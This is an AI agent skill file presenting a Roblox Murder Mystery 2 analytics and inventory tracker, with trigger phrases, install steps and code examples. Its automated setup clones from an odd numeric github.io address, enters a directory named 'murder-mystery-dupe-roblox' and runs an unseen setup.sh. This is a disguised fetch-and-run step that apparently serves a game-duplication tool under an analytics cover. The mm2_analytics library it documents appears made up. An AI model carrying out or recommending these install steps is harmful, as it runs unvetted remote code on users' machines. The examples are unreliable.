mm2-roblox-analytics-tracker

name	mm2-roblox-analytics-tracker
description	Analytics and inventory tracking toolkit for Roblox Murder Mystery 2 with strategic gameplay insights
triggers	["help me track my Murder Mystery 2 inventory","analyze my MM2 gameplay statistics","set up Roblox MM2 analytics dashboard","optimize my Murder Mystery 2 knife collection","configure MM2 inventory tracker","export my Roblox MM2 stats","run Murder Mystery 2 analytics","troubleshoot MM2 analytics toolkit"]

MM2 Roblox Analytics Tracker

Skill by ara.so — Data Skills collection.

This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It enables players to track knife skin collections, analyze gameplay patterns, optimize inventory, and visualize performance metrics through an interactive dashboard.

What It Does

The MM2 Analytics Tracker provides:

• Inventory Management: Automatic tracking of knife skins, gamepasses, and collectibles with rarity analysis
• Performance Analytics: Win/loss ratios, role-based statistics, and strategy pattern identification
• Data Visualization: Interactive dashboards with real-time statistics and charts
• AI-Powered Insights: Predictive modeling for inventory values and player behavior analysis
• Trade Recommendations: Smart suggestions based on collection completeness and market trends
• Practice Simulations: Training tools for skill improvement

Installation

Automated Setup

# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Run automated installer
chmod +x setup.sh
./setup.sh --install

Manual Installation

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

System Requirements

• Python 3.9+ or Node.js 18+
• 2GB RAM minimum
• Supported OS: Windows 10+, macOS Ventura+, Ubuntu 22.04+
• Modern web browser (Chrome 120+, Firefox 121+)

Configuration

Environment Variables

Create a .env file in the project root:

# AI Integration (optional)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Storage
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300

# Features
ENABLE_LIVE_TRACKING=true
ENABLE_AI_INSIGHTS=false
EXPORT_FORMAT=json,csv

Profile Configuration

Create a profile.yaml file:

profile:
  username: "YourRobloxUsername"
  preferred_role: "sheriff"  # sheriff, murderer, innocent
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "unique"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"  # basic, comprehensive, minimal
    data_refresh_rate: 30  # seconds
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

CLI Commands

Basic Usage

# Start analytics dashboard
python3 main.py --mode dashboard

# Run inventory scan
python3 main.py --mode inventory --scan

# Export analytics data
python3 main.py --mode analytics \
  --profile your_profile \
  --export statistics.json \
  --format json

# Generate performance report
python3 main.py --mode report \
  --date-range "2026-01-01:2026-05-16" \
  --output report.pdf

Advanced Options

# Comprehensive analytics with verbose logging
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export stats_$(date +%Y%m%d).json \
  --format json \
  --verbose \
  --log-level DEBUG

# Inventory optimization with AI recommendations
python3 main.py --mode optimize \
  --enable-ai \
  --strategy aggressive \
  --export recommendations.csv

# Live tracking session
python3 main.py --mode live \
  --refresh-interval 15 \
  --dashboard-port 8080

Code Examples

Python: Basic Inventory Analysis

from mm2_analytics import InventoryManager, AnalyticsEngine

# Initialize inventory manager
inventory = InventoryManager(
    data_dir="./data/collections",
    profile="my_profile"
)

# Scan current inventory
results = inventory.scan_inventory()

# Analyze knife skins by rarity
knife_analysis = inventory.analyze_category(
    category="knife_skins",
    group_by="rarity"
)

print(f"Total items: {results['total_count']}")
print(f"Legendary knives: {knife_analysis['legendary']}")
print(f"Collection completion: {results['completion_percentage']}%")

# Get missing items for collection
missing = inventory.get_missing_items(
    category="knife_skins",
    target_rarity=["legendary", "ancient"]
)

for item in missing:
    print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")

Python: Performance Analytics

from mm2_analytics import AnalyticsEngine, StrategyAnalyzer

# Initialize analytics engine
analytics = AnalyticsEngine(
    profile="my_profile",
    tracking_mode="comprehensive"
)

# Load gameplay session data
analytics.load_sessions(date_range="last_30_days")

# Analyze performance by role
role_stats = analytics.analyze_by_role()

for role, stats in role_stats.items():
    print(f"{role.capitalize()} Performance:")
    print(f"  Win Rate: {stats['win_rate']:.2%}")
    print(f"  Games Played: {stats['games_count']}")
    print(f"  Avg Survival Time: {stats['avg_survival_time']:.1f}s")

# Strategy pattern analysis
strategy = StrategyAnalyzer(analytics)
patterns = strategy.identify_winning_patterns(role="sheriff")

print("\nTop Winning Strategies:")
for pattern in patterns[:5]:
    print(f"  {pattern['name']}: {pattern['success_rate']:.2%}")

Python: Data Export and Visualization

from mm2_analytics import DataExporter, Visualizer

# Export data in multiple formats
exporter = DataExporter(profile="my_profile")

# Export to JSON
exporter.export_inventory(
    format="json",
    output="inventory_backup.json",
    include_metadata=True
)

# Export to CSV for spreadsheet analysis
exporter.export_analytics(
    format="csv",
    output="analytics_report.csv",
    date_range="2026-01-01:2026-05-16"
)

# Generate visualizations
viz = Visualizer(data_source="analytics_report.csv")

# Create performance chart
viz.create_chart(
    chart_type="line",
    metric="win_rate",
    group_by="date",
    output="performance_trend.png"
)

# Create inventory distribution pie chart
viz.create_chart(
    chart_type="pie",
    data=knife_analysis,
    title="Knife Skins by Rarity",
    output="inventory_distribution.png"
)

JavaScript: Dashboard Integration

const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');

// Initialize dashboard
const dashboard = new AnalyticsDashboard({
  profile: 'my_profile',
  refreshInterval: 30000, // 30 seconds
  port: 8080
});

// Configure real-time inventory tracking
const tracker = new InventoryTracker({
  dataDir: './data/collections',
  liveTracking: true
});

// Subscribe to inventory updates
tracker.on('update', (data) => {
  console.log(`Inventory updated: ${data.items.length} items`);
  dashboard.updateInventoryView(data);
});

// Start analytics dashboard server
dashboard.start().then(() => {
  console.log('Dashboard running at http://localhost:8080');
});

// Export data on demand
dashboard.on('export-requested', async (format) => {
  const data = await tracker.exportData(format);
   data;
});

Common Patterns

Pattern 1: Daily Analytics Routine

from mm2_analytics import DailyRoutine

routine = DailyRoutine(profile="my_profile")

# Run comprehensive daily analysis
report = routine.run_daily_analysis(
    include_inventory_scan=True,
    include_performance_review=True,
    include_trade_recommendations=True,
    export_format="json"
)

# Email report (if configured)
if report.has_significant_changes():
    routine.send_report(report, method="email")

Pattern 2: Trade Optimization

from mm2_analytics import TradeOptimizer

optimizer = TradeOptimizer(
    inventory=inventory,
    target_collection="legendary_complete"
)

# Get trade recommendations
recommendations = optimizer.get_recommendations(
    max_trades=5,
    prioritize="collection_completion"
)

for rec in recommendations:
    print(f"Trade: {rec['give']} → {rec['receive']}")
    print(f"  Value Difference: {rec['value_delta']}")
    print(f"  Collection Impact: +{rec['completion_impact']}%")

Pattern 3: AI-Powered Strategy Suggestions

from mm2_analytics import AIStrategyAssistant

# Requires API_OPENAI_KEY or API_CLAUDE_KEY in environment
assistant = AIStrategyAssistant(
    api_provider="openai",  # or "claude"
    model="gpt-4"
)

# Get strategy suggestions based on performance
suggestions = assistant.analyze_gameplay(
    role="sheriff",
    recent_sessions=analytics.get_recent_sessions(count=10)
)

print(suggestions.summary)
for tip in suggestions.tips:
    print(f"- {tip}")

Troubleshooting

Issue: Inventory scan returns empty results

Solution: Verify data directory exists and profile configuration is correct

# Check data directory
ls -la ./data/collections

# Verify profile exists
python3 main.py --list-profiles

# Reset and rescan
python3 main.py --mode inventory --reset --scan

Issue: Analytics export fails with encoding errors

Solution: Specify UTF-8 encoding explicitly

from mm2_analytics import DataExporter

exporter = DataExporter(
    profile="my_profile",
    encoding="utf-8"  # Force UTF-8 encoding
)

exporter.export_analytics(
    format="csv",
    output="stats.csv",
    force_encoding=True
)

Issue: Dashboard won't start (port conflict)

Solution: Use a different port or kill existing process

# Use alternative port
python3 main.py --mode dashboard --port 8081

# Or find and kill process using port 8080
lsof -ti:8080 | xargs kill -9

Issue: AI insights not working

Solution: Verify API keys are set correctly

# Check environment variables
echo $API_OPENAI_KEY
echo $API_CLAUDE_KEY

# Test API connection
python3 main.py --test-ai-connection

Issue: Performance degradation with large datasets

Solution: Enable data pagination and optimize refresh interval

from mm2_analytics import AnalyticsEngine

analytics = AnalyticsEngine(
    profile="my_profile",
    use_pagination=True,
    page_size=1000,
    cache_enabled=True
)

# Increase refresh interval for large datasets
analytics.set_refresh_interval(60)  # 60 seconds

Best Practices

1. Regular Backups: Export inventory data weekly
2. API Rate Limits: Enable caching when using AI features
3. Data Privacy: Keep profile data local, never commit .env files
4. Performance: Use --mode minimal for basic tracking needs
5. Updates: Check for compatibility patches regularly

Additional Resources

• Profile templates: ./templates/profiles/
• Sample datasets: ./data/samples/
• Custom visualizations: ./examples/visualizations/
• Strategy guides: ./docs/strategies/